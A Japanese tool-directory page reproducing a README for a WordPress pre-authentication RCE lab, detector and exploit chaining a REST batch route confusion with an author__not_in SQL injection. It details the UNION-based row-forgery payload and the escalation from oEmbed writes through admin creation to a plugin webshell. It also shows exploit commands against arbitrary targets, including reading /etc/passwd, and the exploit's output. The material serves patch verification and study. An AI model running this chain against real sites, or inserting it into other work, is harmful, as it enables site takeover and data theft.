Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
wp2shell-lab — wp2shell用の非破壊検出器 + Dockerラボ(WordPressコア6.9.0-6.9.4 / 7.0.0-7.0.1におけるCVE-2026-63030 REST /batch/v1 ルート混同 + CVE-2026-60137 author__not_in SQLi) | Kitploit
ツール/GitHubGitHub/dinosn/wp2shell-lab
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育ラボと実践
GitHubdinosn/wp2shell-lab

wp2shell-lab

wp2shell用の非破壊検出器 + Dockerラボ(WordPressコア6.9.0-6.9.4 / 7.0.0-7.0.1におけるCVE-2026-63030 REST /batch/v1 ルート混同 + CVE-2026-60137 author__not_in SQLi)

リポジトリを見る
5417151ヶ月前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

wp2shell ラボ & 検出ツール + 事前認証 RCE PoC

wp2shell — WordPress コアの事前認証脆弱性チェーン — のための自己完結型ラボ、非破壊検出ツール、そして完全な事前認証 RCE 概念実証 (PoC) です:

CVEコンポーネント分類CVSS
CVE-2026-60137WP_Query::author__not_inSQL インジェクション (CWE-89)9.1
CVE-2026-63030REST /batch/v1 ルート混乱解釈の競合 (CWE-436) → RCE に連鎖7.5

影響を受けるバージョン: WordPress コア 6.9.0–6.9.4 および 7.0.0–7.0.1 (SQLi シンクのみでも 6.8.0–6.8.5 に影響)。6.8.6 / 6.9.5 / 7.0.2 で修正。 Adam Kues (Assetnote / Searchlight Cyber) が報告。SQLi は TF1T、dtro、haongo にもクレジットされています。ストックデフォルト RCE チェーン (oEmbed → changeset → re-entry) は Mustafa Can İPEKÇİ (nukedx) によるものです。

まず更新を。 WordPress はこれに対する強制自動更新を配信しました。このリポジトリは、あなた自身の環境がパッチ適用済みであることを確認し、このバグを理解するために存在します — 誰かを攻撃するためではありません。SECURITY.md を参照してください。


実際に何をするのか

常に成立するプリミティブは、認証不要・プラグイン不要・ストックコアの SQL インジェクションであり、データベース全体の読み取り (管理者パスワードハッシュ、wp_options/wp_users 内のすべて) を可能にします。これだけで CVSS 9.1 に値し、即時のパッチ適用が求められます。

RCE は現実に存在し、ストックデフォルトの WordPress で動作します — FILE 権限、永続オブジェクトキャッシュ、プラグイン、設定ミスのいずれも不要です。このチェーンは読み取り専用の SQLi を行偽造プリミティブとして使用し (UNION ALL SELECT が偽の wp_posts 行を注入)、WordPress 自身のコンテンツレンダリングパイプラインを利用して、oEmbed キャッシング経由でそれらの偽造行を実際のデータベース書き込みに変換します。そこから、changeset の昇格と再入可能な parse_request が管理者コンテキストで実行され、新しい管理者アカウントが作成されます — すべて単一の認証不要 HTTP リクエストからです。

完全なチェーン (認証情報なし、単一のエントリポイント POST /?rest_route=/batch/v1)

root@kitploit:~
1. Route confusion    — double-nested batch desyncs $matches/$validation so a GET
                        /wp/v2/widgets runs under posts::get_items() (public), reaching
                        WP_Query's author__not_in with attacker-controlled input.

2. Row forgery        — author__not_in is string-concatenated into SQL;
                        "1) AND 1=0 UNION ALL SELECT <23 cols> -- -" injects fake
                        WP_Post rows. per_page=-1 bypasses split_the_query (WP_Query
                        treats -1 as "no limit" → empty $limits → split=false →
                        full SELECT wp_posts.* → UNION columns match).

3. oEmbed write       — forged posts carry [embed]<self-url>[/embed]; rendering via
                        context=view makes WordPress cache real oembed_cache posts in
                        the DB (turns read-only SQLi into writes with predictable IDs).

4. Elevation+re-entry — a forged customize_changeset (user_id = real admin) plus a
                        forged post_type=request row with parent loops drives an
                        in-process re-entrant parse_request in admin context.

5. Admin creation     — POST /wp/v2/users in the same batch passes
                        current_user_can('create_users') → new administrator.

6. RCE                — login → plugin webshell upload → command execution → cleanup.

構造を支えるガジェット (チェーンが成立する理由)

新規性は構成 (composition) にあり、単一のバグではありません — 個々のガジェットは WordPress の正当な動作です。それらに名前を付けること (Adam Kues の記事による) で、exploit() 内の偽造行グラフが読みやすくなり、エントリポイントがパッチ適用された後に再監査すべき箇所を示します:

  • キャッシュ/DB の調整 (reconciliation) — インメモリにキャッシュされた投稿が DB の行と食い違う場合、WordPress は wp_update_post() で調整し、インメモリの post_type/post_status を優先するため、oembed_cache 行を実際の post/customize_changeset に型変換できます。
  • post_content を保持するサイクル検出 — wp_insert_post_parent フィルタは親チェーンを辿ります。サイクルを検出すると、2 回目の wp_update_post() を呼び出して、post_content を上書きせずに親を修正します。これが決定的なリンクです: 偽造 changeset の悪意ある post_content を生き残らせることができます。(これが偽造行が自己/相互親ループを使用する理由です。)
  • parse_request によるフック再実行 (replay) — 投稿の公開は do_action("{$status}_{$type}") を発火させます。post_status=parse / post_type=request を持つ偽造行は parse_request をトリガーし、changeset が仮定する管理者 ID (wp_set_current_user) が有効なままバッチパイプラインを再実行します。

これらのガジェットはパッチ適用済みの WordPress にも残っています — 閉じられたのは 2 つのエントリポイント (バッチデシンク + author__not_in スカラーバイパス) のみです。インメモリの投稿キャッシュを偽造する、または oembed_cache 行を書き込む新しいプリミティブがあれば、同一の管理者乗っ取りテールが再び有効になります。

レンダリング時書き込みプリミティブ

4 つすべてのレンダリング時書き込みプリミティブは 7.0.1 に対して実機で確認済みです — それぞれ認証不要の投稿として偽造され、バッチ混乱を介してレンダリングされ、結果として生じる DB 書き込みがブラインド SQLi で検証されました:

プリミティブトリガーマークアップシンク予測される識別子検証結果
oembed[embed]<url>[/embed]wp_posts 行 (oembed_cache)post_name = md5(url+attrs)投稿 ID が作成された
rsswp:rss {feedURL}wp_options サイトトランジェント_site_transient_feed_<md5(url)>option_id、5192 B キャッシュ済み
navigationwp:navigationwp_posts 行 (wp_navigation)post_name = 'navigation' (固定)ID 作成済み、スラッグ navigation
calendarwp:calendarwp_optionswp_calendar_block_has_published_postsoption_id、値 '1'

各結果が証明すること:

  • oembed — 参照プリミティブ: 攻撃者が予測可能なスラッグ (md5(url+serialize(attrs))) と実際の auto-increment ID を持つ新しい wp_posts 行を得られます。複数・オンデマンド・攻撃者命名の投稿行を提供する唯一のものであり、RCE チェーンが偽造 changeset/request グラフのバックエンドにこれを使用する理由です。
  • rss — 最も強力な汎用書き込み: キー _site_transient_feed_<md5(url)> は完全に予測可能で、格納されるバイトは攻撃者の URL が配信するフィード本文です — つまり、攻撃者はキーと値の両方を制御します。wp_options への書き込み (投稿 ID なし) のため、changeset のバックエンドにそのまま使える代替ではなく、オプション汚染 (option-poisoning) プリミティブです。
  • navigation — もう 1 つの認証不要「レンダリングによる実際の投稿行の作成」パス。固定スラッグで単発 (公開済みの wp_navigation が存在する場合はスキップ) のため、oEmbed の N 行とは異なり、偽造オブジェクトを最大 1 つしかバックできません。
  • calendar — レンダリング→update_option パスが認証不要で発火することを確認しますが、オプション名とその '1'/'0' の値は固定/DB 由来のため、キーや値に対する攻撃者の制御がない「書き込みが発生する」ことのデモです。

以前の条件付きチェーン (上記のストックデフォルトチェーンに置き換え)

  • INTO OUTFILE ウェブシェル: WordPress の DB ユーザーがグローバル FILE 権限を保持し、secure_file_priv が Web からアクセス可能で、出力先が Web ユーザーに読み取り可能であることが必要です。通常の/マネージドホストではどれも成立しません。
  • SimplePie → WP_HTML_Token POP: call_user_func('wp_insert_user', user_data_array) — 要件: gc_enabled()=false + 有効な HMAC (正確なシリアライズ済みバイト列の wp_hash、wp-config.php のシークレットが必要)。

クイックスタート

必要条件: Docker + Docker Compose v2、Python 3.8+ (標準ライブラリのみ)、make、curl。

root@kitploit:~
make up          # WordPress 6.9.4 (vulnerable) + MySQL 8.0, auto-installed on :8093
make check       # -> [VULNERABLE] http://localhost:8093 (WordPress 6.9.4 ...)
make proof       # -> also reads @@version and current_user() as read-only evidence
make exploit     # -> full pre-auth RCE: creates admin, deploys webshell, runs "id"
make patched     # rebuild on the fixed image and re-check -> [not vulnerable]
make down        # tear down (removes volumes)

ポートを変更するには WP_PORT=8100 make up を使用します。

パッチ適用済みイメージに関する注意: 公式 Docker wordpress イメージは WordPress コアのセキュリティリリースより 1〜2 日遅れることがあります。make patched が wordpress:7.0.2 はまだ Docker Hub にないと報告した場合は、後で再試行するか、公開済みの修正タグを指定してください: make patched WP_PATCHED_TAG=6.9.5 (または 7.0.2 / 6.8.6)。WordPress 6.9.5 / 7.0.2 / 6.8.6 のいずれか以上であれば not vulnerable を返します。

期待される出力

root@kitploit:~
$ make check
[VULNERABLE] http://localhost:8093  (WordPress 6.9.4, affected-full-chain)  [active=fired | method=boolean rows(true/false)=5/0 via x-wp-total | delivery=json | slot=users]
        confirmed: unauthenticated SQL injection
        rce: reachable on stock config; additionally requires no persistent object cache (not verified remotely -- the RCE PoC preflights it before writing)

$ make exploit
[*] seeding oEmbed caches ...
[*] extracting table prefix ...
[+] table prefix: wp_
[*] extracting admin user ID ...
[+] admin ID: 1
[*] recovering oEmbed cache post IDs ...
[+] cache IDs: [5, 6, 7]
[*] forging changeset + re-entry, creating administrator ...
[+] administrator created: w2s_...:W2s!...  ([email protected])
[*] logging in, deploying webshell, executing command ...
[+] vulnerable (unauth SQLi confirmed: method=boolean slot=users delivery=json)
[+] RCE output:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

$ make patched
[not vulnerable] http://localhost:8093  (WordPress 7.0.2, outside-affected-range)  [active=negative | method=time fast=0.01s slow=0.01s delta=-0.00s | delivery=json | slot=users]

ツール (wp2shell_check.py)

標準ライブラリのみ、依存関係なし。

検出 (デフォルト)

非破壊型で、3 つの独立した軸で自動フォールバックするため、単一の経路がブロックされても誤検知 (false negative) と読まれることはありません:

  • oracle — まず高速なブールベースの行数差分 (注入した WHERE を true/false に切り替え、混乱した投稿クエリの X-WP-Total が減少するのを確認、SLEEP は不使用)。それが発火しない場合は、時間ベースの SLEEP 差分。SLEEP は導出テーブル — (SELECT 1 FROM (SELECT SLEEP(n))x) — でラップされているため、行数に関係なく 1 回だけ評価されます (素の SLEEP() は一部のマネージドホストで最適化によって除去され、誤検知と読まれる可能性があります)。
  • delivery — まずバッチルートへの JSON POST。エッジが /wp-json をブロックする場合は、POST / に対する rest_route=/batch/v1 マルチパートフォーム (オペレーターの実際のリクエスト形式)。
  • slot — シフトされたリクエストはまず /wp/v2/users に対して検証されます。そのエンドポイントが認証不要の呼び出し元に対して無効な場合 (Disable-REST-API プラグイン、ユーザー列挙対策のハードニング)、汎用の /wp/v2/posts/<id> アイテムエンドポイントにフォールバックします。

いずれもデータを読み取らず、状態も変更しません。--proof は制限付きブラインド読み取りで @@version と current_user() のみを読み取ります。機密データの抽出やコード実行の試行は行いません。

root@kitploit:~
python3 wp2shell_check.py https://your-site.example --authorized
python3 wp2shell_check.py -f assets.txt --authorized -t 20 --json > results.json
python3 wp2shell_check.py http://127.0.0.1:8093 --proxy http://127.0.0.1:8080

事前認証 RCE (-c COMMAND)

完全な悪用チェーン: 検出 → 行偽造プリフライト → oEmbed キャッシュのシード → in-band UNION 抽出 → changeset の昇格 → 再入可能な parse_request → 管理者作成 → ログイン → プラグインウェブシェル → 実行 → 自己クリーンアップ。ストックデフォルトの WordPress で動作 — FILE 権限、永続オブジェクトキャッシュ、プラグインは不要です。

root@kitploit:~
python3 wp2shell_check.py http://127.0.0.1:8093 -c "id"
python3 wp2shell_check.py https://target.example -c "cat /etc/passwd" --authorized
  • 書き込み前のプリフライト。 単一の in-band UNION エコーにより、チェーンが何かを書き込む前に、per_page=-1 による split_the_query バイパスがこのターゲットで機能することを確認します。永続オブジェクトキャッシュ (Redis/Memcached — マネージドホストで一般的) は split_the_query を強制し、行偽造をブロックします: ツールはそれを正確に報告し (SQLi は依然として存在し、ブロックされるのは RCE のみ)、孤立した oembed_cache 行を一切残しません。
  • In-band 抽出。 テーブルプレフィックス、管理者 ID、シードされたキャッシュ ID は、バイト単位のブラインド SLEEP ラダーの代わりに、混乱した投稿レスポンスから直接読み取られます (それぞれ 1 リクエスト) — リクエスト数は約 50〜100 分の 1 で、WAF/レート制限への露出が大幅に減少します。in-band 読み取りが何らかの理由でフィルタリングされた場合も、ブラインドオラクルが自動フォールバックとして残ります。
  • ウェブシェルプラグインは 1 回の使用後に自己破壊します (自身のファイルを無効化して削除します)。

オプション

-c CMD (事前認証 RCE)、--proof (読み取り専用の証拠)、-f FILE (バッチスキャン)、-t/--threads N (並行ワーカー数、デフォルト 10)、--method auto|boolean|time、--delivery auto|json|multipart (--multipart エイリアス)、--slot auto|users|posts-item、--sleep N (注入する遅延、デフォルト 4)、--rounds N (N 回のプローブの中央値)、--route auto|rest-route|wp-json、--timeout N、--proxy URL、--json、--authorized。

ステータス値

  • vulnerable — インジェクションによって能動的に確認済み (バッチ混乱、6.9.0–7.0.1)。アクティブオラクルが証明するのは認証不要の SQL インジェクションです。事前認証 RCE はストックインストールではそこから到達可能ですが、さらに永続オブジェクトキャッシュがないことが必要です (リモートでは検証できない前提条件 — RCE PoC は書き込み前にプリフライトします)。出力はその区別を明示します (confirmed: / rce: 行)。
  • affected_version — フィンガープリントされたバージョンが影響範囲内だが、アクティブチェックが発火しなかった (6.8.0–6.8.5 は SQLi シンクを持つが混乱はない。または WAF がプローブをブロックした)。
  • not_vulnerable — アクティブチェックが陰性で、バージョンが影響範囲外。

終了コード: 0 = 要対応、1 = 脆弱ではない、2 = エラー。

堅牢性: POST ボディを保持したままリダイレクトに追従し、ホストを事前に一度だけ正規化し、TLS エラーを無視します (curl -k)。


修復策

  • WordPress 6.9.5 / 7.0.2 にパッチ適用 (6.8 ブランチでは 6.8.6)。
  • すぐにパッチを適用できない場合は、エッジで /wp-json/batch/v1 と ?rest_route=/batch/v1 の両方をブロックしてください — プリティパスのみを対象にしたルールではクエリ文字列ルートが開いたままになります — または rest_pre_dispatch フィルタでバッチルートに認証を要求してください。

クレジット

  • ルート混乱 + SQLi: Adam Kues (Assetnote / Searchlight Cyber)
  • ストックデフォルト RCE チェーン (oEmbed → changeset → re-entry): Mustafa Can İPEKÇİ (nukedx)
  • SQLi (CVE-2026-60137): TF1T、dtro、haongo にもクレジット

参考情報

  • Searchlight Cyber / Assetnote — https://slcyber.io/research-center/wp2shell-pre-authentication-rce-in-wordpress-core/
  • mcipekci RCE gist — https://gist.github.com/mcipekci/2b5027f965153d8058bbcfd63006ef79
  • WordPress 7.0.2 リリース — https://wordpress.org/news/2026/07/wordpress-7-0-2-release/
  • アドバイザリ: GHSA-ff9f-jf42-662q、GHSA-fpp7-x2x2-2mjf

ライセンス

MIT — LICENSE を参照してください。

ツールをダウンロード